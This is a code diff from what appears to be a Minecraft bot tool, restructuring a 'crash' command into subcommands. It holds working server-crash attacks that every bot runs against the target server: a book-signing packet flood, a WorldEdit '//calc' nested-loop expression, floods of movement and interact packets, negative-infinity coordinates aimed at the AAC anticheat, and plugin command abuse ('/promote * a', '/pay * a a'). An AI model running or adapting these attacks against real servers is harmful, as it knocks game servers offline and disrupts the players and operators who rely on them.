@@ -508,144 +508,185 @@ public void postConstruct() {
508
508
dispatcher .register (
509
509
literal ("crash" )
510
510
.then (
511
- argument ( "method" , StringArgumentType . greedyString () )
511
+ literal ( "book" )
512
512
.executes (
513
513
help (
514
- "Attempts to crash the server" ,
514
+ "Attempts to crash the server with a book " ,
515
515
c -> {
516
- var method = StringArgumentType . getString ( c , "method " );
516
+ log . info ( "Attempting to crash the server with a book " );
517
517
518
- log .info ("Attempting to crash the server with method: {}" , method );
518
+ try {
519
+ var data = Files .readAllBytes (Path .of ("book.cap" ));
520
+ var packet = new ServerboundCustomPayloadPacket ("MC|BSign" , data );
521
+ return forEveryBot (
522
+ c ,
523
+ (bot ) -> {
524
+ for (var i = 0 ; i < 150 ; i ++) {
525
+ bot .sessionDataManager ().sendPacket (packet );
526
+ }
527
+ return Command .SINGLE_SUCCESS ;
528
+ });
529
+ } catch (IOException e ) {
530
+ log .error ("Failed to read book.cap" , e );
531
+ return 1 ;
532
+ }
533
+ })))
534
+ .then (
535
+ literal ("calc" )
536
+ .executes (
537
+ help (
538
+ "Attempts to crash the server with a calculation" ,
539
+ c -> {
540
+ log .info ("Attempting to crash the server with a calculation" );
541
+
542
+ return forEveryBot (
543
+ c ,
544
+ (bot ) -> {
545
+ bot .botControl ()
546
+ .sendMessage (
547
+ "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}" );
548
+ return Command .SINGLE_SUCCESS ;
549
+ });
550
+ })))
551
+ .then (
552
+ literal ("fly" )
553
+ .executes (
554
+ help (
555
+ "Attempts to crash the server with flying" ,
556
+ c -> {
557
+ log .info ("Attempting to crash the server with flying" );
558
+
559
+ return forEveryBot (
560
+ c ,
561
+ (bot ) -> {
562
+ var botX = bot .sessionDataManager ().clientEntity ().x ();
563
+ var botY = bot .sessionDataManager ().clientEntity ().y ();
564
+ var botZ = bot .sessionDataManager ().clientEntity ().z ();
565
+
566
+ while (botY < 256 ) {
567
+ botY += 9 ;
568
+ var packet =
569
+ new ServerboundMovePlayerPosPacket (
570
+ true , botX , botY , botZ );
571
+ bot .sessionDataManager ().sendPacket (packet );
572
+ }
573
+
574
+ for (var i = 0 ; i < 10000 ; i ++) {
575
+ botX += 9 ;
576
+ var packet =
577
+ new ServerboundMovePlayerPosPacket (
578
+ true , botX , botY , botZ );
579
+ bot .sessionDataManager ().sendPacket (packet );
580
+ }
581
+
582
+ return Command .SINGLE_SUCCESS ;
583
+ });
584
+ })))
585
+ .then (
586
+ literal ("sleep" )
587
+ .executes (
588
+ help (
589
+ "Attempts to crash the server with sleeping" ,
590
+ c -> {
591
+ log .info ("Attempting to crash the server with sleeping" );
592
+
593
+ return forEveryBot (
594
+ c ,
595
+ (bot ) -> {
519
596
520
- return switch (method ) {
521
- case "book" -> {
522
- try {
523
- var data = Files .readAllBytes (Path .of ("book.cap" ));
597
+ // TODO: 17/02/2024 check if there is a specific packet for
598
+ // leaving bed
524
599
var packet =
525
- new ServerboundCustomPayloadPacket ("MC|BSign" , data );
526
- forEveryBot (
527
- c ,
528
- (bot ) -> {
529
- for (var i = 0 ; i < 150 ; i ++) {
530
- bot .sessionDataManager ().sendPacket (packet );
531
- }
532
- return Command .SINGLE_SUCCESS ;
533
- });
534
- } catch (IOException e ) {
535
- log .error ("Failed to read book.cap" , e );
536
- }
537
- yield Command .SINGLE_SUCCESS ;
538
- }
539
- case "calc" -> {
540
- forEveryBot (
541
- c ,
542
- (bot ) -> { // Work
543
- bot .botControl ()
544
- .sendMessage (
545
- "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}" );
546
- return Command .SINGLE_SUCCESS ;
547
- });
548
- yield Command .SINGLE_SUCCESS ;
549
- }
550
- case "fly" -> {
551
- forEveryBot (
552
- c ,
553
- (bot ) -> {
554
- var botX = bot .sessionDataManager ().clientEntity ().x ();
555
- var botY = bot .sessionDataManager ().clientEntity ().y ();
556
- var botZ = bot .sessionDataManager ().clientEntity ().z ();
557
-
558
- while (botY < 256 ) {
559
- botY += 9 ;
560
- var packet =
561
- new ServerboundMovePlayerPosPacket (
562
- true , botX , botY , botZ );
563
- bot .sessionDataManager ().sendPacket (packet );
564
- }
565
-
566
- for (var i = 0 ; i < 10000 ; i ++) {
567
- botX += 9 ;
568
- var packet =
569
- new ServerboundMovePlayerPosPacket (
570
- true , botX , botY , botZ );
571
- bot .sessionDataManager ().sendPacket (packet );
572
- }
573
-
574
- return Command .SINGLE_SUCCESS ;
575
- });
576
- yield Command .SINGLE_SUCCESS ;
577
- }
578
- case "sleep" -> {
579
- forEveryBot (
580
- c ,
581
- (bot ) -> {
582
- // TODO: 17/02/2024 check if there is a specific packet for
583
- // leaving bed
584
- var packet =
585
- new ServerboundInteractPacket (
586
- bot .sessionDataManager ().clientEntity ().entityId (),
587
- InteractAction .INTERACT ,
588
- Hand .MAIN_HAND ,
589
- false );
590
-
591
- for (var i = 0 ; i < 2000 ; i ++) {
592
- bot .sessionDataManager ().sendPacket (packet );
593
- }
594
-
595
- return Command .SINGLE_SUCCESS ;
596
- });
597
- yield Command .SINGLE_SUCCESS ;
598
- }
599
- case "permissionsex" -> { // Work
600
- forEveryBot (
601
- c ,
602
- (bot ) -> {
603
- bot .botControl ().sendMessage ("/promote * a" );
604
- return Command .SINGLE_SUCCESS ;
605
- });
606
- yield Command .SINGLE_SUCCESS ;
607
- }
608
- case "aac" -> {
609
- // TODO: 17/02/2024 find old version of AAC crack to test
610
- var packet =
611
- new ServerboundMovePlayerPosPacket (
612
- true ,
613
- Double .NEGATIVE_INFINITY ,
614
- Double .NEGATIVE_INFINITY ,
615
- Double .NEGATIVE_INFINITY );
616
- forEveryBot (
617
- c ,
618
- (bot ) -> {
619
- bot .sessionDataManager ().sendPacket (packet );
620
- return Command .SINGLE_SUCCESS ;
621
- });
622
- yield Command .SINGLE_SUCCESS ;
623
- }
624
- case "essentials" -> {
625
- forEveryBot (
626
- c ,
627
- (bot ) -> {
628
- bot .botControl ().sendMessage ("/pay * a a" );
629
- return Command .SINGLE_SUCCESS ;
630
- });
631
- yield Command .SINGLE_SUCCESS ;
632
- }
633
- case "anvil" -> {
634
- // try damage 3 and 16384
635
- log .error ("Anvil crash not implemented yet!" );
636
- yield Command .SINGLE_SUCCESS ;
637
- }
638
- case "chest" -> {
639
- // create huge NBT data on chest and place the most possible chest
640
- // to "crash" the area
641
- log .error ("Chest crash not implemented yet!" );
642
- yield Command .SINGLE_SUCCESS ;
643
- }
644
- default -> {
645
- log .error ("Unknown crash method: {}" , method );
646
- yield Command .SINGLE_SUCCESS ;
647
- }
648
- };
600
+ new ServerboundInteractPacket (
601
+ bot .sessionDataManager ().clientEntity ().entityId (),
602
+ InteractAction .INTERACT ,
603
+ Hand .MAIN_HAND ,
604
+ false );
605
+
606
+ for (var i = 0 ; i < 2000 ; i ++) {
607
+ bot .sessionDataManager ().sendPacket (packet );
608
+ }
609
+
610
+ return Command .SINGLE_SUCCESS ;
611
+ });
612
+ })))
613
+ .then (
614
+ literal ("permissionsex" )
615
+ .executes (
616
+ help (
617
+ "Attempts to crash the server with Permissionsex" ,
618
+ c -> {
619
+ log .info ("Attempting to crash the server with Permissionsex" );
620
+
621
+ return forEveryBot (
622
+ c ,
623
+ (bot ) -> {
624
+ bot .botControl ().sendMessage ("/promote * a" );
625
+ return Command .SINGLE_SUCCESS ;
626
+ });
627
+ })))
628
+ .then (
629
+ literal ("aac" )
630
+ .executes (
631
+ help (
632
+ "Attempts to crash the server with AAC" ,
633
+ c -> {
634
+ log .info ("Attempting to crash the server with AAC" );
635
+ // TODO: 17/02/2024 find old version of AAC crack to test
636
+ var packet =
637
+ new ServerboundMovePlayerPosPacket (
638
+ true ,
639
+ Double .NEGATIVE_INFINITY ,
640
+ Double .NEGATIVE_INFINITY ,
641
+ Double .NEGATIVE_INFINITY );
642
+ return forEveryBot (
643
+ c ,
644
+ (bot ) -> {
645
+ bot .sessionDataManager ().sendPacket (packet );
646
+ return Command .SINGLE_SUCCESS ;
647
+ });
648
+ })))
649
+ .then (
650
+ literal ("essentials" )
651
+ .executes (
652
+ help (
653
+ "Attempts to crash the server with Essentials" ,
654
+ c -> {
655
+ log .info ("Attempting to crash the server with Essentials" );
656
+
657
+ return forEveryBot (
658
+ c ,
659
+ (bot ) -> {
660
+ bot .botControl ().sendMessage ("/pay * a a" );
661
+ return Command .SINGLE_SUCCESS ;
662
+ });
663
+ })))
664
+ .then (
665
+ literal ("anvil" )
666
+ .executes (
667
+ help (
668
+ "Attempts to crash the server with an anvil" ,
669
+ c -> {
670
+ log .info ("Attempting to crash the server with an anvil" );
671
+
672
+ log .error ("Anvil crash is not implemented yet!" );
673
+
674
+ // try damage 3 and 16384
675
+ return Command .SINGLE_SUCCESS ;
676
+ })))
677
+ .then (
678
+ literal ("chest" )
679
+ .executes (
680
+ help (
681
+ "Attempts to crash the server with a chest" ,
682
+ c -> {
683
+ log .info ("Attempting to crash the server with a chest" );
684
+
685
+ log .error ("Chest crash is not implemented yet!" );
686
+
687
+ // create huge NBT data on chest and place the most possible chest
688
+ // to "crash" the area
689
+ return Command .SINGLE_SUCCESS ;
649
690
}))));
650
691
651
692
SoulFireAPI .postEvent (new DispatcherInitEvent (dispatcher ));
0 commit comments